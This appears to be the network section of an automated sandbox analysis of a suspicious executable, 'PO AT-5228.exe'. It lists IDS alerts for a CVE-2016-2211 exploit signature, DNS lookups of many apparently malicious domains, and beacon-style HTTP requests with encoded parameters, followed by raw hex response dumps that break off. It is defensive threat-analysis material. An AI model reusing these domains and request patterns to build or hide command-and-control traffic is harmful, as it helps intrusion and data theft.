Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.4:58816
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.4:58815
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.4:49730

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BB4EB5 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00BB4EB5

Source: global traffic	HTTP traffic detected: GET /fu91/?rP=HVzlbrdNsUKwRMyAkSaq9f4c/m6isv/WUf8DIHIYxdtxD6ajZVqGW4SkaKVstmHHiDHGL4Ocj6+1IS/NZZr1NwcNkcJHwAXjc6i3ixCnFRD7cmGoWCaelms=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1Host: www.college-help.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /usv6/?rP=TgDODAIJaOl5jtT4JRfI9OPwBKlUmFbaFilQ+MjMe2d3S0GP4FMVsOvduy7NJ4+NeTwYvTqThdXRP3V3mN8pkp0x831zohGfqDiCdJRchCUQ1npuqurwuCk=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1Host: www.binacamasala.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /xprp/?rP=VtQLa3osnF7akoTJd8K7MWrEHzl8DW0FSH4Ha68GLubc/osER9eyiC9/VfKiy/o0cRDnmrVyyY747d0hGVpIr6r2fBWTDvY7eHgrrdp64c4dmhIDxYLLQeM=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1Host: www.marketplacer.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /k47i/?rP=9kxEYcPO0Qe31MjAFnEMVPHcjnW8clhJfOSVnSYcFCRu8P8I16bnpHX0uCpjJCIKhM8RXi76z74nz8CD3eQ5QOBn4QFToSxFkTdn7+Zz8rczuwwOORjeo18=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1Host: www.energyparks.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /9jdk/?rP=WubzzLgyg7H8FuUk5n/moB8/gOqFZhsVZD6HlZkF1Lv4/cTJ30fLKlagebv44Go8+oe4d1owWbTtJNvV0eU1JmU5XMaUHO6aCszk2dDtn8pHKEGonxM30wY=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1Host: www.yvrkp.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /brrb/?rP=Pyc5xCH2FNTrUJIJcyFngeQJg4SvOnlrloocc6vOBweawvT0T5Z/ogiftYZRDFuocKSPtlVGb/YM09jHyAcWaQwrV3rluoKHVSlnOVUNWjSt4yW6AKlEvfo=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1Host: www.flikka.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /i4bc/?rP=P7cuULF9RNNpbZDPqOSIjiALg+sZAwaoAqjHQXQRXIOUhYGrthov5xR31GNCxCywGXd8BQaSBdu7etG1CrfHuWVBHlP07YMsKwlH7wrGl8lSs0vEOZdyfzQ=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1Host: www.ladylawher.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /c1ti/?rP=UWVJg+rBkYQ16c/k/c5G2tAQQlKC6rNVaa0x99kOYGF7jBYWQyWqu7Abjh8I3w9fm9z6F4PdgXfZGbhZEsJH8R4Ck+TUDnCQl4oBl/L9phTMmBOgy1HwiRs=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1Host: www.primeproperty.propertyAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /usop/?rP=3GbX3siKa3fb4xoywiCreKN2vNnbaQz6Sbk2xDjabsziN9g8eu79RDllgCpODOeJxsPok1tislweMq7jEyJ1HksFPNjAfzJjuFgq98sTQGUllsVyDZpLjNQ=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1Host: www.kghjkx.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /cymd/?2p2h=vzYT2lDhJTZ0Ql&rP=SQRZB1HP1/e+i1vXk12pUULDRytIn3wFTHYuRC8KH5mDKLD+AhmaNIKBelYQ6UpcdOsF2Uw9L0OACGIyKZ1sjmu2WbkhaOw9WSlER16P5D40fVfxJRSv6AQ= HTTP/1.1Host: www.iuyi542.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /1i1f/?rP=dQYajm//Sx1stwXHf3xlHA3S8l/u0vyC8xP2ywW2sRY4KNcSndLgw2rkEnULaIMwbbOqPpfkjMw6pD0cpqqLVjWWADBg9XXOC9f0UMcBOgWMQTbzF2Ef3i8=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1Host: www.neg21.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.jllllbx.top
Source: global traffic	DNS traffic detected: DNS query: www.college-help.info
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: www.binacamasala.com
Source: global traffic	DNS traffic detected: DNS query: www.marketplacer.top
Source: global traffic	DNS traffic detected: DNS query: www.energyparks.net
Source: global traffic	DNS traffic detected: DNS query: www.yvrkp.top
Source: global traffic	DNS traffic detected: DNS query: www.flikka.site
Source: global traffic	DNS traffic detected: DNS query: www.ladylawher.shop
Source: global traffic	DNS traffic detected: DNS query: www.primeproperty.property
Source: global traffic	DNS traffic detected: DNS query: www.kghjkx.xyz
Source: global traffic	DNS traffic detected: DNS query: www.iuyi542.xyz
Source: global traffic	DNS traffic detected: DNS query: www.neg21.top
Source: global traffic	DNS traffic detected: DNS query: www.digitaladpro.shop

Source: unknown

HTTP traffic detected: POST /usv6/ HTTP/1.1Host: www.binacamasala.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brOrigin: http://www.binacamasala.comContent-Type: application/x-www-form-urlencodedCache-Control: no-cacheConnection: closeContent-Length: 199Referer: http://www.binacamasala.com/usv6/User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36Data Raw: 72 50 3d 65 69 72 75 41 33 31 33 64 63 77 47 31 5a 48 55 42 32 2b 36 78 37 6d 4e 42 34 35 36 69 54 76 53 4a 78 78 35 76 65 75 58 66 77 38 59 4a 46 2f 43 32 54 6f 78 30 4d 37 2f 67 6e 37 48 4f 2b 79 71 57 43 78 53 37 47 44 36 6d 37 47 79 4f 68 42 36 33 73 68 7a 74 37 63 39 37 33 70 6f 6f 53 71 6b 72 67 43 37 52 62 73 62 78 6a 63 4f 33 6b 68 75 34 65 4b 56 75 56 4b 5a 6f 79 65 34 6c 2f 4a 6f 52 30 51 6d 73 74 36 56 66 2f 48 66 6f 56 72 61 56 66 43 6d 58 66 66 74 39 65 42 64 56 44 6f 4e 4c 48 4e 2b 59 68 69 38 72 51 59 7a 33 5a 39 44 73 5a 43 4c 39 76 63 49 69 42 65 52 7a 4c 4b 57 48 41 3d 3d Data Ascii: rP=eiruA313dcwG1ZHUB2+6x7mNB456iTvSJxx5veuXfw8YJF/C2Tox0M7/gn7HO+yqWCxS7GD6m7GyOhB63shzt7c973pooSqkrgC7RbsbxjcO3khu4eKVuVKZoye4l/JoR0Qmst6Vf/HfoVraVfCmXfft9eBdVDoNLHN+Yhi8rQYz3Z9DsZCL9vcIiBeRzLKWHA==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 13 Nov 2024 08:26:44 GMTServer: ApacheLast-Modified: Wed, 06 Nov 2024 18:10:13 GMTETag: "49d-626426de29b28"Accept-Ranges: bytesContent-Length: 1181Content-Type: text/htmlConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 32 35 30 70 78 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 35 70 78 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 62 6c 61 63 6b 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 62 6f 74 74 6f 6d 2c 20 20 72 67 62 61 28 31 33 35 2c 31 33 35 2c 31 33 35 2c 31 29 20 30 25 2c 72 67 62 61 28 30 2c 30 2c 30 2c 31 29 20 31 30 30 25 29 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 38 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 30 70 78 3b 0d 0a 7d 0d 0a 2e 73 70 65 61 63 68 62 75 62 62 6c 65 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 2d 31 38 70 78 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 31 30 32 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 38 70 78 20 32 31 70 78 20 30 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 62 6c 61 63 6b 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 30 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0d 0a 7d 0d 0a 2e 73 70 65 61 63 68 62 75 62 62 6c 65 20 73 70 61 6e 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 66 6f 6e 74 3a 37 32 70 78 20 61 72 69 61 6c 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 70 78 3b 0d 0a 20 20 20 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 34 70 78 20 34 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 33 29 3b 0d 0a 7d 0d 0a 2e 6d 65 73 73 61 67 65 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 3a 32 34 70 78 20 61 72 69 61 6c 3b 0d 0a 20 20 20 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Nov 2024 08:27:14 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 1d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a2 2f 14 fd 54 40 7e a8 51 fc 50 fe c2 f2 1f f5 dc 3b bb cb 25 45 ca 8f 38 45 05 48 22 67 67 ee dc b9 f7 dc 73 ef cc 6c fd 74 27 74 f5 78 a8 44 4f 0f fc 66 9d fe 0a d7 97 71 dc 28 79 71 4b 76 e4 50 7b 3b aa 24 7c 19 74 1b a5 68 54 42 1f 25 3b cd fa 40 69 29 dc 9e 8c 62 a5 1b a5 f7 2f fd c2 3a 87 67 dc 1a c8 81 6a 94 86 32 ea 7b 41 b7 24 dc 30 d0 2a 40 a7 48 75 a3 91 15 41 e6 6c cf 1d 4f ed 0e c3 48 17 ba ee 7a 1d dd 6b 74 d4 8e e7 2a 8b bf d4 bc c0 d3 9e f4 ad d8 95 be 6a ac 42 84 f6 b4 af 9a bb bb bb f6 00 73 29 3d f4 a5 ab 22 5b 87 c3 ba 63 9e d5 7d 2f e8 8b 48 f9 8d 52 ac c7 be 8a 7b 4a 61 9a 81 ea 78 b2 51 92 be 5f 12 bd 48 6d e7 ca b2 72 96 1c e9 d0 76 e3 18 53 4c c7 7b 58 46 d6 7b 5b 42 af 30 b0 f1 67 7d b5 24 c8 7e 30 d7 40 76 95 73 c5 e2 8e cd 7a ec 46 de 50 37 9d 33 f5 d3 9b 6f 5e 7c fd d2 eb 9b 67 9c 53 bb 5e d0 09 77 6d 1d 49 b7 bf c1 1d de 0e 65 47 34 c4 f6 28 70 b5 17 06 95 ea b5 bd b5 53 ce 99 ad ad e6 19 a7 ee a4 42 52 61 22 0c 7c 74 6f 94 16 8b a9 94 9d 81 0c bc 6d 15 6b fb 72 5c ae 96 d0 5f 45 51 18 3d e5 80 9a 58 c5 98 38 72 1b a5 a2 20 78 25 f3 f2 48 6f b3 97 9f 59 2f 82 0c 1c 47 16 89 9f 5a b7 f9 41 45 fd e6 9e 9d a4 a3 63 f0 da 0e 3b e3 0c d9 6d 6b 08 5f 09 f3 af 45 ee 6b a5 68 e5 36 c6 ed f4 53 ab dd 6d f9 5e b7 a7 81 07 92 a5 a2 a2 1c ee dc 6a a5 0f 48 e4 4c 8b 91 9e 62 be e3 ed 2c 1d 6a 05 a1 26 95 b4 ba 82 89 92 6f 92 a3 e4 51 72 90 3c 16 c9 77 c9 fe e4 23 7c bc 97 1c 4e 3e 9e dc c0 e7 43 fc 1e 25 77 93 7d 7a 7c 77 25 68 c7 c3 b5 3a a2 d1 c4 6d db 22 d4 66 58 ed 69 3d 8c 2f 38 0e 82 cf 46 f8 9a 60 08 c2 ed d0 f7 c3 5d 11 84 e1 50 01 25 f8 80 38 00 5a 54 04 3c cb a8 4b 41 dd 6a 23 ea fb 50 e6 af 34 bb 3d f9 68 72 b3 ee c8 66 dd c1 3a 9a f5 b9 c5 74 55 ab 95 46 ba b5 1b c9 e1 10 42 53 03 cf b7 b7 38 16 5b 88 05 d0 c2 d2 4e ec 96 5e 18 6b 90 88 15 6b a9 3d 17 0e 98 9b 75 c6 d6 56 3a 3f f9 69 75 6a 8d 39 8f 58 4c 0d a5 25 bc d1 5b 6d d6 87 cb c7 76 94 41 31 42 f5 d9 7d 55 6f 47 cd e4 d0 b8 2b f9 81 fc 98 fc c0 be 7d 70 cc 9b 33 26 1f 2e 5b 76 7b a4 75 18 c4 99 bd b1 ee 02 08 cc 43 68 69 3e c0 09 7e 18 b5 d8 cb 2a 70 09 6a e9 83 d8 bb aa 5a f0 ff 40 fa ec 8c d4 a6 f9 f8 dc 7e 69 7f 76 0c 38 b9 20 62 28 3b 1d b8 a9 e5 13 72 e6 91 47 04 6d d0 e7 ec f6 42 2f 76 d6 dd 9e 72 fb 8d 95 0e 27 8a 45 fc bd 22 07 c3 35 8c 69 c5 e1 28 72 55 23 53 81 98 b9 d4 fc 35 49 21 24 8a e2 7a 29 70 8a fa 33 75 17 e2 f1 e4 f5 74 c2 81 f4 72 82 cf 82 a6 a0 ba e9 e0 04 6a d7 59 1f e9 41 a6 d9 42 ed e9 39 e5 98 d1 20 d3 7c 85 9a 5c ac 4a 7a dd a0 11 c3 50 41 a7 05 59 27 2f 34 f9 3b 80 f1 9f e4 40 4c 3e 4d 8e 26 9f 4d 6e 8a e4 7e c6 0b a7 0b a1 18 0f 65 b0 00 b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Nov 2024 08:27:16 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 1d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a2 2f 14 fd 54 40 7e a8 51 fc 50 fe c2 f2 1f f5 dc 3b bb cb 25 45 ca 8f 38 45 05 48 22 67 67 ee dc b9 f7 dc 73 ef cc 6c fd 74 27 74 f5 78 a8 44 4f 0f fc 66 9d fe 0a d7 97 71 dc 28 79 71 4b 76 e4 50 7b 3b aa 24 7c 19 74 1b a5 68 54 42 1f 25 3b cd fa 40 69 29 dc 9e 8c 62 a5 1b a5 f7 2f fd c2 3a 87 67 dc 1a c8 81 6a 94 86 32 ea 7b 41 b7 24 dc 30 d0 2a 40 a7 48 75 a3 91 15 41 e6 6c cf 1d 4f ed 0e c3 48 17 ba ee 7a 1d dd 6b 74 d4 8e e7 2a 8b bf d4 bc c0 d3 9e f4 ad d8 95 be 6a ac 42 84 f6 b4 af 9a bb bb bb f6 00 73 29 3d f4 a5 ab 22 5b 87 c3 ba 63 9e d5 7d 2f e8 8b 48 f9 8d 52 ac c7 be 8a 7b 4a 61 9a 81 ea 78 b2 51 92 be 5f 12 bd 48 6d e7 ca b2 72 96 1c e9 d0 76 e3 18 53 4c c7 7b 58 46 d6 7b 5b 42 af 30 b0 f1 67 7d b5 24 c8 7e 30 d7 40 76 95 73 c5 e2 8e cd 7a ec 46 de 50 37 9d 33 f5 d3 9b 6f 5e 7c fd d2 eb 9b 67 9c 53 bb 5e d0 09 77 6d 1d 49 b7 bf c1 1d de 0e 65 47 34 c4 f6 28 70 b5 17 06 95 ea b5 bd b5 53 ce 99 ad ad e6 19 a7 ee a4 42 52 61 22 0c 7c 74 6f 94 16 8b a9 94 9d 81 0c bc 6d 15 6b fb 72 5c ae 96 d0 5f 45 51 18 3d e5 80 9a 58 c5 98 38 72 1b a5 a2 20 78 25 f3 f2 48 6f b3 97 9f 59 2f 82 0c 1c 47 16 89 9f 5a b7 f9 41 45 fd e6 9e 9d a4 a3 63 f0 da 0e 3b e3 0c d9 6d 6b 08 5f 09 f3 af 45 ee 6b a5 68 e5 36 c6 ed f4 53 ab dd 6d f9 5e b7 a7 81 07 92 a5 a2 a2 1c ee dc 6a a5 0f 48 e4 4c 8b 91 9e 62 be e3 ed 2c 1d 6a 05 a1 26 95 b4 ba 82 89 92 6f 92 a3 e4 51 72 90 3c 16 c9 77 c9 fe e4 23 7c bc 97 1c 4e 3e 9e dc c0 e7 43 fc 1e 25 77 93 7d 7a 7c 77 25 68 c7 c3 b5 3a a2 d1 c4 6d db 22 d4 66 58 ed 69 3d 8c 2f 38 0e 82 cf 46 f8 9a 60 08 c2 ed d0 f7 c3 5d 11 84 e1 50 01 25 f8 80 38 00 5a 54 04 3c cb a8 4b 41 dd 6a 23 ea fb 50 e6 af 34 bb 3d f9 68 72 b3 ee c8 66 dd c1 3a 9a f5 b9 c5 74 55 ab 95 46 ba b5 1b c9 e1 10 42 53 03 cf b7 b7 38 16 5b 88 05 d0 c2 d2 4e ec 96 5e 18 6b 90 88 15 6b a9 3d 17 0e 98 9b 75 c6 d6 56 3a 3f f9 69 75 6a 8d 39 8f 58 4c 0d a5 25 bc d1 5b 6d d6 87 cb c7 76 94 41 31 42 f5 d9 7d 55 6f 47 cd e4 d0 b8 2b f9 81 fc 98 fc c0 be 7d 70 cc 9b 33 26 1f 2e 5b 76 7b a4 75 18 c4 99 bd b1 ee 02 08 cc 43 68 69 3e c0 09 7e 18 b5 d8 cb 2a 70 09 6a e9 83 d8 bb aa 5a f0 ff 40 fa ec 8c d4 a6 f9 f8 dc 7e 69 7f 76 0c 38 b9 20 62 28 3b 1d b8 a9 e5 13 72 e6 91 47 04 6d d0 e7 ec f6 42 2f 76 d6 dd 9e 72 fb 8d 95 0e 27 8a 45 fc bd 22 07 c3 35 8c 69 c5 e1 28 72 55 23 53 81 98 b9 d4 fc 35 49 21 24 8a e2 7a 29 70 8a fa 33 75 17 e2 f1 e4 f5 74 c2 81 f4 72 82 cf 82 a6 a0 ba e9 e0 04 6a d7 59 1f e9 41 a6 d9 42 ed e9 39 e5 98 d1 20 d3 7c 85 9a 5c ac 4a 7a dd a0 11 c3 50 41 a7 05 59 27 2f 34 f9 3b 80 f1 9f e4 40 4c 3e 4d 8e 26 9f 4d 6e 8a e4 7e c6 0b a7 0b a1 18 0f 65 b0 00 b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 13 Nov 2024 08:27:19 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 11 b9 e6 72 97 dd 1d 4a a6 6d 01 89 9d 34 09 62 c4 68 1a a0 40 d0 a2 2f 14 fd 54 40 7e a8 51 fc 50 fe c2 f2 1f f5 dc 3b bb cb 25 45 ca 8f 38 45 05 48 22 67 67 ee dc b9 f7 dc 73 ef cc 6c fd 74 27 74 f5 78 a8 44 4f 0f fc 66 9d fe 0a d7 97 71 dc 28 79 71 4b 76 e4 50 7b 3b aa 24 7c 19 74 1b a5 68 54 42 1f 25 3b cd fa 40 69 29 dc 9e 8c 62 a5 1b a5 f7 2f fd c2 3a 87 67 dc 1a c8 81 6a 94 86 32 ea 7b 41 b7 24 dc 30 d0 2a 40 a7 48 75 a3 91 15 41 e6 6c cf 1d 4f ed 0e c3 48 17 ba ee 7a 1d dd 6b 74 d4 8e e7 2a 8b bf d4 bc c0 d3 9e f4 ad d8 95 be 6a ac 42 84 f6 b4 af 9a bb bb bb f6 00 73 29 3d f4 a5 ab 22 5b 87 c3 ba 63 9e d5 7d 2f e8 8b 48 f9 8d 52 ac c7 be 8a 7b 4a 61 9a 81 ea 78 b2 51 92 be 5f 12 bd 48 6d e7 ca b2 72 96 1c e9 d0 76 e3 18 53 4c c7 7b 58 46 d6 7b 5b 42 af 30 b0 f1 67 7d b5 24 c8 7e 30 d7 40 76 95 73 c5 e2 8e cd 7a ec 46 de 50 37 9d 33 f5 d3 9b 6f 5e 7c fd d2 eb 9b 67 9c 53 bb 5e d0 09 77 6d 1d 49 b7 bf c1 1d de 0e 65 47 34 c4 f6 28 70 b5 17 06 95 ea b5 bd b5 53 ce 99 ad ad e6 19 a7 ee a4 42 52 61 22 0c 7c 74 6f 94 16 8b a9 94 9d 81 0c bc 6d 15 6b fb 72 5c ae 96 d0 5f 45 51 18 3d e5 80 9a 58 c5 98 38 72 1b a5 a2 20 78 25 f3 f2 48 6f b3 97 9f 59 2f 82 0c 1c 47 16 89 9f 5a b7 f9 41 45 fd e6 9e 9d a4 a3 63 f0 da 0e 3b e3 0c d9 6d 6b 08 5f 09 f3 af 45 ee 6b a5 68 e5 36 c6 ed f4 53 ab dd 6d f9 5e b7 a7 81 07 92 a5 a2 a2 1c ee dc 6a a5 0f 48 e4 4c 8b 91 9e 62 be e3 ed 2c 1d 6a 05 a1 26 95 b4 ba 82 89 92 6f 92 a3 e4 51 72 90 3c 16 c9 77 c9 fe e4 23 7c bc 97 1c 4e 3e 9e dc c0 e7 43 fc 1e 25 77 93 7d 7a 7c 77 25 68 c7 c3 b5 